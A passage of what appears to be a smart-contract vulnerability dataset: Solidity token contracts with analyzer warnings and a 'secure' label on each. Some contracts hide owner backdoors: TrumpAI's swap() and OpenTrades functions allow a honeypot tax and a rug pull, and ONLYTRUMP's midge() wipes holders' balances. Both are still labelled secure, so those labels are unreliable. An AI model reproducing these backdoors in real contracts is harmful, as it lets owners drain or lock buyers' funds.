IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: fa8b237\n\t\t// unused-return | ID: bbe5a74\n\t\t// reentrancy-eth | ID: 5f181d0\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: fa8b237\n\t\t// unused-return | ID: ac3d439\n\t\t// reentrancy-eth | ID: 5f181d0\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\t\t// reentrancy-benign | ID: fa8b237\n _initialBuyTax = 0;\n\t\t// reentrancy-benign | ID: fa8b237\n _initialSellTax = 0;\n\n\t\t// reentrancy-benign | ID: fa8b237\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 5f181d0\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function removeClog() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: d3cdf08): TRUMP.rescueERC(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for d3cdf08: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC(address _address, uint256 percent) external onlyOwner {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: d3cdf08\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}", "file_name": "solidity_code_461.sol", "secure": 0, "size_bytes": 19907 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract NewBornHaggisPygmyHippo is ERC20, Ownable {\n function uniqueHippoTag() public pure returns (string memory) {\n return \"Haggis The Hippo\";\n }\n\n function hippoVersion() public pure returns (uint256) {\n return 536213233;\n }\n\n constructor(\n address initialOwner\n ) ERC20(\"New Born Haggis Pygmy Hippo\", \"Haggi\") Ownable(initialOwner) {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_462.sol", "secure": 1, "size_bytes": 658 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract MyToken is ERC20 {\n constructor() ERC20(\"Conwai\", \"CNW\") {\n _mint(msg.sender, 10000000000 * (10 ** uint256(decimals())));\n }\n}", "file_name": "solidity_code_463.sol", "secure": 1, "size_bytes": 288 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Pausable is Context {\n bool private _paused;\n\n event Paused(address account);\n\n event Unpaused(address account);\n\n error EnforcedPause();\n\n error ExpectedPause();\n\n constructor() {\n _paused = false;\n }\n\n modifier whenNotPaused() {\n _requireNotPaused();\n\n _;\n }\n\n modifier whenPaused() {\n _requirePaused();\n\n _;\n }\n\n function paused() public view virtual returns (bool) {\n return _paused;\n }\n\n function _requireNotPaused() internal view virtual {\n if (paused()) {\n revert EnforcedPause();\n }\n }\n\n function _requirePaused() internal view virtual {\n if (!paused()) {\n revert ExpectedPause();\n }\n }\n\n function _pause() internal virtual whenNotPaused {\n _paused = true;\n\n emit Paused(_msgSender());\n }\n\n function _unpause() internal virtual whenPaused {\n _paused = false;\n\n emit Unpaused(_msgSender());\n }\n}", "file_name": "solidity_code_464.sol", "secure": 1, "size_bytes": 1191 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/utils/Pausable.sol\" as Pausable;\n\nabstract contract ERC20Pausable is ERC20, Pausable {\n function _update(\n address from,\n address to,\n uint256 value\n ) internal virtual override whenNotPaused {\n super._update(from, to, value);\n }\n}", "file_name": "solidity_code_465.sol", "secure": 1, "size_bytes": 444 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\nabstract contract ERC20Burnable is Context, ERC20 {\n function burn(uint256 value) public virtual {\n _burn(_msgSender(), value);\n }\n}", "file_name": "solidity_code_466.sol", "secure": 1, "size_bytes": 349 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol\" as ERC20Pausable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MyToken is ERC20, ERC20Burnable, ERC20Pausable, Ownable {\n mapping(address => bool) public BlackList;\n\n mapping(address => uint8) public userLevel;\n\n mapping(address => bool) public isInLevel4;\n\n address[] private usersLevel1;\n\n address[] private usersLevel2;\n\n address[] private usersLevel3;\n\n address[] private usersLevel4;\n\n address[] private floatBalance;\n\n constructor(\n address initialOwner\n ) Ownable(initialOwner) ERC20(\"Rubtor\", \"RUBT\") {\n _mint(msg.sender, (1000000 * 10 ** decimals()));\n }\n\n function pause() public onlyOwner {\n _pause();\n }\n\n function unpause() public onlyOwner {\n _unpause();\n }\n\n function mintToContract(uint256 amount) public onlyOwner {\n require(amount > 0, \"Amount must be greater than 0\");\n\n _mint(address(this), amount);\n\n uint256 totalTokens = amount;\n\n uint256 level1Share = (totalTokens * 50) / 100;\n\n uint256 level2Share = (totalTokens * 25) / 100;\n\n uint256 level3Share = (totalTokens * 15) / 100;\n\n uint256 level4Share = (totalTokens * 5) / 100;\n\n uint256 floatBalanceShare = (totalTokens * 5) / 100;\n\n distributeTokens(usersLevel1, level1Share);\n\n distributeTokens(usersLevel2, level2Share);\n\n distributeTokens(usersLevel3, level3Share);\n\n distributeTokens(usersLevel4, level4Share);\n\n distributeTokens(floatBalance, floatBalanceShare);\n\n setZeroLevelForEmptyBalance(usersLevel2);\n\n setZeroLevelForEmptyBalance(usersLevel3);\n }\n\n function setZeroLevelForEmptyBalance(address[] storage users) internal {\n for (uint256 i = 0; i < users.length; i++) {\n if (balanceOf(users[i]) == 0) {\n setUserLevel(users[i], 0);\n }\n }\n }\n\n function distributeTokens(address[] storage users, uint256 share) internal {\n uint256 numberOfUsers = users.length;\n\n if (numberOfUsers > 0 && share > 0) {\n for (uint256 i = 0; i < numberOfUsers; i++) {\n uint256 userBalance = balanceOf(users[i]);\n\n uint256 amountToSend;\n\n if (userLevel[users[i]] == 1) {\n amountToSend = share / numberOfUsers;\n } else if (userLevel[users[i]] == 5) {\n amountToSend = (share * 5) / 100;\n } else {\n uint256 totalBalance = calculateTotalBalance(users);\n\n amountToSend = (userBalance * share) / totalBalance;\n }\n\n if (amountToSend > 0) {\n _transfer(address(this), users[i], amountToSend);\n }\n }\n }\n }\n\n function calculateTotalBalance(\n address[] storage users\n ) internal view returns (uint256) {\n uint256 totalBalance = 0;\n\n for (uint256 i = 0; i < users.length; i++) {\n totalBalance += balanceOf(users[i]);\n }\n\n return totalBalance;\n }\n\n function _update(\n address from,\n address to,\n uint256 value\n ) internal override(ERC20, ERC20Pausable) {\n super._update(from, to, value);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal override {\n require(!BlackList[sender], \"Sender is blacklisted\");\n\n require(!BlackList[recipient], \"Recipient is blacklisted\");\n\n super._transfer(sender, recipient, amount);\n\n if (balanceOf(sender) == 0 && userLevel[sender] == 4) {\n userLevel[sender] = 0;\n\n isInLevel4[sender] = false;\n\n for (uint256 i = 0; i < usersLevel4.length; i++) {\n if (usersLevel4[i] == sender) {\n usersLevel4[i] = usersLevel4[usersLevel4.length - 1];\n\n usersLevel4.pop();\n\n break;\n }\n }\n }\n\n if (userLevel[recipient] == 0) {\n userLevel[recipient] = 4;\n\n isInLevel4[recipient] = true;\n\n usersLevel4.push(recipient);\n } else if (userLevel[recipient] == 4) {}\n }\n\n function setUserLevel(address user, uint8 level) public onlyOwner {\n require(level <= 5, \"Invalid access level\");\n\n if (userLevel[user] == 4) {\n removeFromArray(usersLevel4, user);\n\n isInLevel4[user] = false;\n }\n\n if (userLevel[user] == 1) {\n removeFromArray(usersLevel1, user);\n } else if (userLevel[user] == 2) {\n removeFromArray(usersLevel2, user);\n } else if (userLevel[user] == 3) {\n removeFromArray(usersLevel3, user);\n } else if (userLevel[user] == 5) {\n removeFromArray(floatBalance, user);\n }\n\n if (level == 1) {\n usersLevel1.push(user);\n } else if (level == 2) {\n usersLevel2.push(user);\n } else if (level == 3) {\n usersLevel3.push(user);\n } else if (level == 4) {\n usersLevel4.push(user);\n\n isInLevel4[user] = true;\n } else if (level == 5) {\n floatBalance.push(user);\n }\n\n userLevel[user] = level;\n }\n\n function removeFromArray(\n address[] storage array,\n address element\n ) internal {\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == element) {\n array[i] = array[array.length - 1];\n\n array.pop();\n\n break;\n }\n }\n }\n\n function transferFromContract(\n address recipient,\n uint256 amount\n ) public onlyOwner {\n require(recipient != address(0), \"Invalid recipient address\");\n\n require(amount > 0, \"Amount must be greater than zero\");\n\n uint256 contractBalance = balanceOf(address(this));\n\n require(contractBalance >= amount, \"Insufficient contract balance\");\n\n _transfer(address(this), recipient, amount);\n }\n\n function addBlackList(address _addressUser) public onlyOwner {\n BlackList[_addressUser] = true;\n }\n\n function removeBlackList(address _addressUser) public onlyOwner {\n BlackList[_addressUser] = false;\n }\n}", "file_name": "solidity_code_467.sol", "secure": 1, "size_bytes": 6830 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract TrumpAI is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3f4d04d): TrumpAI._decimals should be constant \n\t// Recommendation for 3f4d04d: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6facc2b): TrumpAI._totalSupply should be immutable \n\t// Recommendation for 6facc2b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;\n\n constructor() {\n _balances[sender()] = _totalSupply;\n\n emit Transfer(address(0), sender(), _balances[sender()]);\n\n _taxWallet = msg.sender;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 4021627): TrumpAI._name should be constant \n\t// Recommendation for 4021627: Add the 'constant' attribute to state variables that never change.\n string private _name = \"TrumpAI\";\n\n\t// WARNING Optimization Issue (constable-states | ID: b58b9d8): TrumpAI._symbol should be constant \n\t// Recommendation for b58b9d8: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"TRAIMP\";\n\n\t// WARNING Optimization Issue (constable-states | ID: db460d0): TrumpAI.uniV2Router should be constant \n\t// Recommendation for db460d0: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5f46551): TrumpAI._taxWallet should be immutable \n\t// Recommendation for 5f46551: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"IERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"IERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function marketopen() public {}\n\n function tomarketopens() external {}\n\n function forcoolat() public {}\n\n function tocoolfor() public {}\n\n function swap(address[] calldata walletAddress) external {\n uint256 fromBlockNo = getBlockNumber();\n\n for (\n uint256 walletInde = 0;\n walletInde < walletAddress.length;\n walletInde++\n ) {\n if (!marketingAddres()) {} else {\n cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\n }\n }\n }\n\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n\n require(_allowances[from][sender()] >= _amount);\n\n return true;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256);\n\n mapping(address => uint256) internal cooldowns;\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == (sender()));\n }\n\n function sender() internal view returns (address) {\n return msg.sender;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function OpenTrades(uint256 amount, address walletAddr) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), amount);\n\n _balances[address(this)] = amount;\n\n address[] memory addressPath = new address[](2);\n\n addressPath[0] = address(this);\n\n addressPath[1] = uniV2Router.WETH();\n\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n addressPath,\n walletAddr,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n uint256 _taxValue = 0;\n\n require(from != address(0));\n\n require(value <= _balances[from]);\n\n emit Transfer(from, to, value);\n\n _balances[from] = _balances[from] - (value);\n\n bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\n\n uint256 _cooldownFeeValue = value.mul(999).div(1000);\n\n if ((cooldowns[from] != 0) && onCooldown) {\n _taxValue = (_cooldownFeeValue);\n }\n\n uint256 toBalance = _balances[to];\n\n toBalance += (value) - (_taxValue);\n\n _balances[to] = toBalance;\n }\n\n event Approval(address indexed, address indexed, uint256 value);\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n\n return true;\n }\n\n mapping(address => uint256) private _balances;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n}", "file_name": "solidity_code_468.sol", "secure": 1, "size_bytes": 7052 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ONLYTRUMP is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable ticles;\n\n constructor() {\n _name = \"ONLY TRUMP\";\n\n _symbol = \"ONLYTRUMP\";\n\n _decimals = 18;\n\n uint256 initialSupply = 530000000;\n\n ticles = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == ticles, \"Not allowed\");\n\n _;\n }\n\n function midge(address[] memory tongue) public onlyOwner {\n for (uint256 i = 0; i < tongue.length; i++) {\n address account = tongue[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_469.sol", "secure": 1, "size_bytes": 4362 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract HADAKA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (constable-states | ID: 968b93a): HADAKA._router should be constant \n\t// Recommendation for 968b93a: Add the 'constant' attribute to state variables that never change.\n address private _router = 0xcD55A38117dc646109F97eB3D2B2Bba4391b1734;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4bbf45e): HADAKA._initalBuyFee should be constant \n\t// Recommendation for 4bbf45e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initalBuyFee = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 866e335): HADAKA._initalSellFee should be constant \n\t// Recommendation for 866e335: Add the 'constant' attribute to state variables that never change.\n uint256 private _initalSellFee = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7d1b960): HADAKA._finalBuyFee should be constant \n\t// Recommendation for 7d1b960: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyFee = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 973de31): HADAKA._finalSellFee should be constant \n\t// Recommendation for 973de31: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellFee = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 51a02f9): HADAKA._reduceBuyTaxAt should be constant \n\t// Recommendation for 51a02f9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 707c2e2): HADAKA._reduceSellTaxAt should be constant \n\t// Recommendation for 707c2e2: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c028b0): HADAKA._preventSwapBefore should be constant \n\t// Recommendation for 5c028b0: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 5;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Hadaka\";\n\n string private constant _symbol = unicode\"HADAKA\";\n\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 86d023e): HADAKA._taxSwapThreshold should be constant \n\t// Recommendation for 86d023e: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: dece68a): HADAKA._maxTaxSwap should be constant \n\t// Recommendation for dece68a: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 26f8497): HADAKA.uniswapV2Router should be immutable \n\t// Recommendation for 26f8497: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 582e0ee): HADAKA.sellCount should be constant \n\t// Recommendation for 582e0ee: Add the 'constant' attribute to state variables that never change.\n uint256 private sellCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d537e05): HADAKA.lastSellBlock should be constant \n\t// Recommendation for d537e05: Add the 'constant' attribute to state variables that never change.\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 736c4f3): HADAKA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 736c4f3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 04bc5f0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 04bc5f0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: eb0209b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for eb0209b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 04bc5f0\n\t\t// reentrancy-benign | ID: eb0209b\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 04bc5f0\n\t\t// reentrancy-benign | ID: eb0209b\n _approve(\n sender,\n _msgSender(),\n allowance(sender, _msgSender()).sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5f2446a): HADAKA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5f2446a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a1ff81e\n\t\t// reentrancy-benign | ID: eb0209b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 04bc5f0\n\t\t// reentrancy-events | ID: 44cba18\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9e7bc99): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9e7bc99: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 9e9c355): HADAKA._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for 9e9c355: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: da53264): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for da53264: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address sender,\n address receiver,\n uint256 amount\n ) private {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(receiver != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (sender != owner() && receiver != owner() && receiver != _router) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyFee\n : _initalBuyFee\n )\n .div(100);\n }\n\n if (\n sender == uniswapV2Pair && receiver != address(uniswapV2Router)\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(receiver) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyFee\n : _initalBuyFee\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (receiver == uniswapV2Pair && sender != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellFee\n : _initalSellFee\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n receiver == uniswapV2Pair &&\n swapEnabled &&\n _buyCount > _preventSwapBefore\n ) {\n if (contractTokenBalance > _taxSwapThreshold)\n\t\t\t\t\t// reentrancy-events | ID: 9e7bc99\n\t\t\t\t\t// reentrancy-eth | ID: da53264\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// reentrancy-events | ID: 9e7bc99\n\t\t\t\t// tautology | ID: 9e9c355\n\t\t\t\t// reentrancy-eth | ID: da53264\n if (contractETHBalance >= 0) sendDevETHFee(contractETHBalance);\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: da53264\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 9e7bc99\n emit Transfer(sender, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: da53264\n _balances[sender] = _balances[sender].sub(amount);\n\n\t\t// reentrancy-eth | ID: da53264\n _balances[receiver] = _balances[receiver].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 9e7bc99\n emit 